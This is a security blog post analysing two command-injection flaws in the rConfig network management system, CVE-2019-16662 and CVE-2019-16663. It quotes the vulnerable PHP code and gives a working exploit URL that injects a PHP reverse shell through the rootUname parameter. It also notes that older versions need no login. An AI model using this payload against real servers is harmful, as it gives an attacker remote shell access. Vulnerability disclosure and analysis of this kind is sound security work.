CVE-2019-16662 & CVE-2019-16663 - Unauthenticated remote code execution vulnerabilities in rConfig (All versions)

Hi,
Welcome to my blog!

In this post, I write about two remote code execution vulnerabilities in rConfig, a popular open-source network management system. According to its website, rConfig is managing over 3 million devices and has over 7000 active users.


A few days ago, Askar disclosed his finding after 35 days waiting but no response from rConfig's developers. In his blog post, he described and released PoC for two vulnerabilities: CVE-2019-16662, the pre-auth, and CVE-2019-16663, the post-auth remote code execution (RCE) in rConfig 3.9.2, the latest version at this time.

After reviewing rConfig's source code, however, I found out that not only rConfig 3.9.2 has those vulnerabilities but also all versions of it. Furthermore, CVE-2019-16663, the post-auth RCE can be exploited without authentication for all versions before rConfig 3.6.0.

CVE-2019-16662

In the file /install/lib/ajaxHandlers/ajaxServerSettingsChk.php, the parameter rootUname is inserted into two command strings and executed by the function exec().
<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
    $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
    $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
    $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
    $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);
Although the function exec() in PHP doesn't return the result in the response, you can easily make a reverse shell from the server back to your VPS by sending a request with URL like that:
http://example.com/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=`php -r '$sock=fsockopen("1.2.3.4",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`
Here comes the fun part. The file ajaxServerSettingsChk.php is created from the initial commit and almost unchanged to the latest version. Maybe it's a backdoor?


CVE-2019-16663

In the file /lib/crud/search.crud.php, like CVE-2019-16662, some parameters are also executed inside the function exec() and they are not validated before that.
<?php

require_once("/home/rconfig/classes/usersession.class.php");
require_once("/home/rconfig/classes/ADLog.class.php");
require_once("/home/rconfig/config/functions.inc.php");

$log = ADLog::getInstance();
if (!$session->logged_in) {
    echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';
    $log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");
    // need to add authentication to this script
    header("Location: " . $config_basedir . "login.php");
} else {

    require_once("../../../classes/db2.class.php");

    $db2 = new db2();
    $log = ADLog::getInstance();

// simple script runtime check 
    $Start = getTime();

    $errors = array();

    if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {
        /* validation */
        $searchTerm = '"' . $_GET['searchTerm'] . '"';
        $catId = $_GET['catId'];
        $catCommand = $_GET['catCommand'];
        $nodeId = $_GET['nodeId'];
        $grepNumLineStr = $_GET['numLinesStr'];
        $grepNumLine = $_GET['noLines'];
        $username = $_SESSION['username'];

        // if nodeId was empty set it to blank
        if (empty($nodeId)) {
            $nodeId = '';
        } else {
            $nodeId = '/' . $nodeId . '/';
        }

        $returnArr = array();

        // Get the category Name from the Category selected    
        $db2->query("SELECT categoryName from `categories` WHERE id = :catId");
        $db2->bind(':catId', $catId);
        $resultCat = $db2->resultset();
        $returnArr['category'] = $resultCat[0]['categoryName'];

        // get total file count
        $fileCount = array();
        $subDir = "";
        if (!empty($returnArr['category'])) {
            $subDir = "/" . $returnArr['category'];
        }

        exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);
        $returnArr['fileCount'] = $fileCountArr['0'];

        //next find all instances of the search term under the specific cat/dir
        $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';
        // echo $command;die();
        exec($command, $searchArr);
Unfortunately, there are some codes to check whether you logged in or not before you can execute commands. So, it's an authenticated RCE?
However, it turns out that the check-login code is only added from the version 3.6.0.

If you want to download the releases, you can go to:
http://files.rconfig.com/downloads/rconfig-x.x.x.zip.
For example, rConfig 3.5.1 and rConfig 3.6.0.

Takeaways

First, pay attention to applications before you install them.
Many applications have the same problem, they have some unauthenticated RCE vulnerabilities that look like vendors' backdoors. I don't know that those vulnerabilities are backdoor indeed or just coding mistakes of the developers. So, you should be careful.
You could take a look at this blog post for another example.

Second, don't too depend on NVD or even vendors' security advisories about vulnerable versions.
NVD sometimes doesn't really analyze the vulnerabilities, they only calculate CVSS points and publish what they receive from the reporters. If you believe them totally, you will miss something important. What is worse than you get hack because you don't fix your servers due to NVD said that the CVE wouldn't affect your applications' version!

If you find it valuable, please share it with other people.
If you have any questions, please don't hesitate to ask me on Twitter or leave a comment.
Thank you for reading!

Comments